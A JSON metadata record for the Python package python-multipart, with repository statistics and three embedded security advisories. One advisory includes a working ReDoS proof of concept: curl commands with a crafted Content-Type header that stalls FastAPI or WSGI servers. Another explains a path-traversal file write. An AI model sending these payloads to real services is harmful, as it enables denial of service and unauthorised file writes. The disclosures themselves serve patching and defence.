{"id":2888490,"name":"python-multipart","ecosystem":"pypi","description":"A streaming multipart parser for Python","homepage":"https://github.com/Kludex/python-multipart","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/Kludex/python-multipart","keywords_array":[],"namespace":null,"versions_count":24,"first_release_published_at":"2013-03-26T00:49:56.000Z","latest_release_published_at":"2026-04-05T20:49:12.000Z","latest_release_number":"0.0.24","last_synced_at":"2026-04-06T11:56:54.581Z","created_at":"2022-04-10T12:21:20.184Z","updated_at":"2026-04-06T13:11:02.435Z","registry_url":"https://pypi.org/project/python-multipart/","install_command":"pip install python-multipart --index-url https://pypi.org/simple","documentation_url":"https://kludex.github.io/python-multipart/","metadata":{"funding":null,"documentation":"https://kludex.github.io/python-multipart/","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Web Environment","Intended Audience :: Developers","License :: OSI Approved :: Apache Software License","Operating System :: OS Independent","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Topic :: Software Development :: Libraries :: Python Modules"],"normalized_name":"python-multipart","project_status":null},"repo_metadata":{"id":7657597,"uuid":"9018833","full_name":"Kludex/python-multipart","owner":"Kludex","description":"A streaming multipart parser for Python.","archived":false,"fork":false,"pushed_at":"2024-09-29T08:12:35.000Z","size":977,"stargazers_count":313,"open_issues_count":12,"forks_count":54,"subscribers_count":12,"default_branch":"master","last_synced_at":"2024-09-29T21:37:57.694Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://multipart.fastapiexpert.com/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Kludex.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2013-03-25T23:50:12.000Z","updated_at":"2024-09-29T16:13:01.000Z","dependencies_parsed_at":"2024-01-22T12:53:27.968Z","dependency_job_id":"fc1cdb71-6e24-4300-a7bd-d68a910ccf21","html_url":"https://github.com/Kludex/python-multipart","commit_stats":{"total_commits":152,"total_committers":23,"mean_commits":6.608695652173913,"dds":0.6973684210526316,"last_synced_commit":"8b85d35fd79869766f678cbdc27bfaebe37b5527"},"previous_names":["kludex/python-multipart","andrew-d/python-multipart"],"tags_count":7,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kludex","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":219877080,"owners_count":16554826,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"Kludex","name":"Marcelo Trylesinski","uuid":"7353520","kind":"user","description":"Software Engineer @ Pydantic 🇧🇷🇺🇾🇮🇹\r\nUvicorn \u0026 Starlette maintainer 🦄🌟\r\nFastAPI Expert ⚡","email":"","website":"https://www.fastapiexpert.com/","location":"Utrecht, Netherlands","twitter":"marcelotryle","company":"@encode @pydantic","icon_url":"https://avatars.githubusercontent.com/u/7353520?u=62adc405ef418f4b6c8caa93d3eb8ab107bc4927\u0026v=4","repositories_count":193,"last_synced_at":"2024-05-20T14:06:26.952Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/Kludex","funding_links":["https://github.com/sponsors/Kludex"],"total_stars":4898,"followers":1576,"following":3,"created_at":"2022-11-14T06:44:58.525Z","updated_at":"2024-05-20T14:06:39.014Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kludex","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Kludex/repositories"},"tags":[{"name":"0.0.9","sha":"3035c45b87a4a1bcb857e17f0ecbc4696ea75e47","kind":"commit","published_at":"2024-02-10T13:30:24.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.9","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.9/manifests"},{"name":"0.0.8","sha":"8ce342cd9ac03fe238c24d68cffaf25a7ea0371a","kind":"commit","published_at":"2024-02-09T21:52:41.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.8","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.8/manifests"},{"name":"0.0.7","sha":"c83e6da1a3a6ed002ebb22138baa1664134d540c","kind":"commit","published_at":"2024-02-03T12:03:47.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.7","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.7/manifests"},{"name":"0.0.6","sha":"4ccfb3a0f20990c1ed682727262b2560707b81df","kind":"commit","published_at":"2023-02-27T16:37:18.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.6","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.6/manifests"},{"name":"0.0.5","sha":"f1a275e73763d16a9dba45e2bd568860302786bd","kind":"commit","published_at":"2018-10-12T08:24:19.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.5","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.5/manifests"},{"name":"0.0.4","sha":"e81dfcb954626e8d68a7b340d1e10bf585e491b4","kind":"commit","published_at":"2017-05-20T21:14:06.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.4","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.4/manifests"},{"name":"0.0.2","sha":"54b19103bea5427e3d2cbe65e406887005e4b54b","kind":"commit","published_at":"2013-11-09T07:24:48.000Z","download_url":"https://codeload.github.com/Kludex/python-multipart/tar.gz/0.0.2","html_url":"https://github.com/Kludex/python-multipart/releases/tag/0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/tags/0.0.2/manifests"}]},"repo_metadata_updated_at":"2024-09-30T05:09:47.106Z","dependent_packages_count":703,"downloads":238346252,"downloads_period":"last-month","dependent_repos_count":12240,"rankings":{"downloads":0.11223066545734472,"dependent_repos_count":0.07888539134013704,"dependent_packages_count":0.04172922875239133,"stargazers_count":5.048447100797413,"forks_count":6.6945893854269345,"docker_downloads_count":0.46130804935862746,"average":2.072864970188808},"purl":"pkg:pypi/python-multipart","advisories":[{"uuid":"GSA_kwCzR0hTQS13cDUzLWo0d2otMmNmZ84ABRlg","url":"https://github.com/advisories/GHSA-wp53-j4wj-2cfg","title":"Python-Multipart has Arbitrary File Write via Non-Default Configuration","description":"### Summary\n\nA Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename.\n\n### Details\n\nWhen `UPLOAD_DIR` is set and `UPLOAD_KEEP_FILENAME` is `True`, the library constructs the file path using `os.path.join(file_dir, fname)`. Due to the behavior of `os.path.join()`, if the filename begins with a `/`, all preceding path components are discarded:\n\n```py\nos.path.join(\"/upload/dir\", \"/etc/malicious\") == \"/etc/malicious\"\n```\n                        \nThis allows an attacker to bypass the intended upload directory and write files to arbitrary paths.                                         \n                                                                                                                                              \n#### Affected Configuration                                                                                                                      \n                                                                                                                                              \nProjects are only affected if all of the following are true:                                                                                     \n- `UPLOAD_DIR` is set\n- `UPLOAD_KEEP_FILENAME` is set to True\n- The uploaded file exceeds `MAX_MEMORY_FILE_SIZE` (triggering a flush to disk)\n\nThe default configuration is not vulnerable.                                                                                                \n                                                                                                                                              \n#### Impact                                                                                                                                   \n                                                                                                                                              \nArbitrary file write to attacker-controlled paths on the filesystem.                                                                        \n                                                                                                                                              \n#### Mitigation                                                                                                                                  \n                                                                                                                                              \nUpgrade to version 0.0.22, or avoid using `UPLOAD_KEEP_FILENAME=True` in project configurations.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-26T23:28:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","references":["https://github.com/Kludex/python-multipart/security/advisories/GHSA-wp53-j4wj-2cfg","https://github.com/Kludex/python-multipart/commit/9433f4bbc9652bdde82bbe380984e32f8cfc89c4","https://github.com/Kludex/python-multipart/releases/tag/0.0.22","https://nvd.nist.gov/vuln/detail/CVE-2026-24486","https://github.com/advisories/GHSA-wp53-j4wj-2cfg"],"source_kind":"github","identifiers":["GHSA-wp53-j4wj-2cfg","CVE-2026-24486"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-27T00:00:08.310Z","updated_at":"2026-04-06T13:01:12.138Z","epss_percentage":0.0003,"epss_percentile":0.08644,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cDUzLWo0d2otMmNmZ84ABRlg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cDUzLWo0d2otMmNmZ84ABRlg","packages":[{"ecosystem":"pypi","package_name":"python-multipart","versions":[{"first_patched_version":"0.0.22","vulnerable_version_range":"\u003c 0.0.22"}],"purl":"pkg:pypi/python-multipart"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cDUzLWo0d2otMmNmZ84ABRlg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01OWc1LXhnY3EtNHF3M84ABB_q","url":"https://github.com/advisories/GHSA-59g5-xgcq-4qw3","title":"Denial of service (DoS) via deformation `multipart/form-data` boundary","description":"### Summary\n\nWhen parsing form data, `python-multipart` skips line breaks (CR `\\r` or LF `\\n`) in front of the first boundary and any tailing bytes after the last boundary. This happens one byte at a time and emits a log event each time, which may cause excessive logging for certain inputs.\n\nAn attacker could abuse this by sending a malicious request with lots of data before the first or after the last boundary, causing high CPU load and stalling the processing thread for a significant amount of time. In case of ASGI application, this could stall the event loop and prevent other requests from being processed, resulting in a denial of service (DoS).\n\n### Impact\n\nApplications that use `python-multipart` to parse form data (or use frameworks that do so) are affected. \n\n### Original Report\n\nThis security issue was reported by:\n- GitHub security advisory in Starlette on October 30 by @Startr4ck\n- Email to `python-multipart` maintainer on October 3 by @mnqazi","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-12-02T21:37:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/Kludex/python-multipart/security/advisories/GHSA-59g5-xgcq-4qw3","https://nvd.nist.gov/vuln/detail/CVE-2024-53981","https://github.com/Kludex/python-multipart/commit/c4fe4d3cebc08c660e57dd709af1ffa7059b3177","https://github.com/advisories/GHSA-59g5-xgcq-4qw3"],"source_kind":"github","identifiers":["GHSA-59g5-xgcq-4qw3","CVE-2024-53981"],"repository_url":"https://github.com/Kludex/python-multipart","blast_radius":35.56369833494301,"created_at":"2024-12-02T22:07:14.232Z","updated_at":"2026-04-05T20:03:47.009Z","epss_percentage":0.00116,"epss_percentile":0.30369,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OWc1LXhnY3EtNHF3M84ABB_q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01OWc1LXhnY3EtNHF3M84ABB_q","packages":[{"ecosystem":"pypi","package_name":"python-multipart","versions":[{"first_patched_version":"0.0.18","vulnerable_version_range":"\u003c 0.0.18"}],"purl":"pkg:pypi/python-multipart"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OWc1LXhnY3EtNHF3M84ABB_q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yanY1LTlyODgtM3czcM4AA5N5","url":"https://github.com/advisories/GHSA-2jv5-9r88-3w3p","title":"python-multipart vulnerable to Content-Type Header ReDoS","description":"### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`:\n\n```Python\n# main.py\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.validate import validator\n\nfrom multipart.multipart import parse_options_header\n\n\ndef simple_app(environ, start_response):\n    _, _ = parse_options_header(environ[\"CONTENT_TYPE\"])\n\n    start_response(\"200 OK\", [(\"Content-type\", \"text/plain\")])\n    return [b\"Ok\"]\n\n\nhttpd = make_server(\"\", 8123, validator(simple_app))\nprint(\"Serving on port 8123...\")\nhttpd.serve_forever()\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'\n```\n\n### Impact\n\nThis is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI'm running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\nYou'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-02-12T17:28:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p","https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4","https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74","https://nvd.nist.gov/vuln/detail/CVE-2024-24762","https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5","https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc","https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml","https://github.com/tiangolo/fastapi/releases/tag/0.109.1","https://github.com/github/advisory-database/pull/4829","https://github.com/advisories/GHSA-2jv5-9r88-3w3p"],"source_kind":"github","identifiers":["GHSA-2jv5-9r88-3w3p","CVE-2024-24762"],"repository_url":"https://github.com/Kludex/python-multipart","blast_radius":0.0,"created_at":"2024-02-12T20:25:25.665Z","updated_at":"2026-04-05T20:06:12.947Z","epss_percentage":0.03422,"epss_percentile":0.8739,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yanY1LTlyODgtM3czcM4AA5N5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yanY1LTlyODgtM3czcM4AA5N5","packages":[{"ecosystem":"pypi","package_name":"python-multipart","versions":[{"first_patched_version":"0.0.7","vulnerable_version_range":"\u003c= 0.0.6"}],"purl":"pkg:pypi/python-multipart"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yanY1LTlyODgtM3czcM4AA5N5/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/python-multipart","docker_dependents_count":2067,"docker_downloads_count":57996878,"usage_url":"https://repos.ecosyste.ms/usage/pypi/python-multipart","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/python-multipart/dependencies","status":null,"funding_links":["https://github.com/sponsors/Kludex"],"critical":true,"issue_metadata":{"last_synced_at":"2024-09-30T02:35:49.998Z","issues_count":59,"pull_requests_count":146,"avg_time_to_close_issue":47266892.3877551,"avg_time_to_close_pull_request":3817486.2615384613,"issues_closed_count":49,"pull_requests_closed_count":130,"pull_request_authors_count":15,"issue_authors_count":29,"avg_comments_per_issue":2.6440677966101696,"avg_comments_per_pull_request":1.0547945205479452,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":27,"past_year_issues_count":28,"past_year_pull_requests_count":138,"past_year_avg_time_to_close_issue":1882815.68,"past_year_avg_time_to_close_pull_request":1163505.0327868853,"past_year_issues_closed_count":25,"past_year_pull_requests_closed_count":122,"past_year_pull_request_authors_count":12,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.9642857142857142,"past_year_avg_comments_per_pull_request":1.0869565217391304,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":25,"past_year_merged_pull_requests_count":109,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kludex%2Fpython-multipart/issues","maintainers":[{"login":"Kludex","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Kludex"},{"login":"andrew-d","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/andrew-d"},{"login":"tomchristie","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomchristie"}],"active_maintainers":[{"login":"Kludex","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Kludex"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/python-multipart/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/python-multipart/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/python-multipart/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/python-multipart/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/python-multipart/codemeta","maintainers":[{"uuid":"Kludex","login":"Kludex","name":null,"email":null,"url":null,"packages_count":101,"html_url":"https://pypi.org/user/Kludex/","role":null,"created_at":"2023-02-25T06:24:55.666Z","updated_at":"2023-02-25T06:24:55.666Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/Kludex/packages"},{"uuid":"tomchristie","login":"tomchristie","name":null,"email":null,"url":null,"packages_count":53,"html_url":"https://pypi.org/user/tomchristie/","role":null,"created_at":"2023-02-25T06:24:55.689Z","updated_at":"2023-02-25T06:24:55.689Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/tomchristie/packages"},{"uuid":"andrew_d","login":"andrew_d","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://pypi.org/user/andrew_d/","role":null,"created_at":"2023-02-25T06:24:55.629Z","updated_at":"2023-02-25T06:24:55.629Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/andrew_d/packages"}]}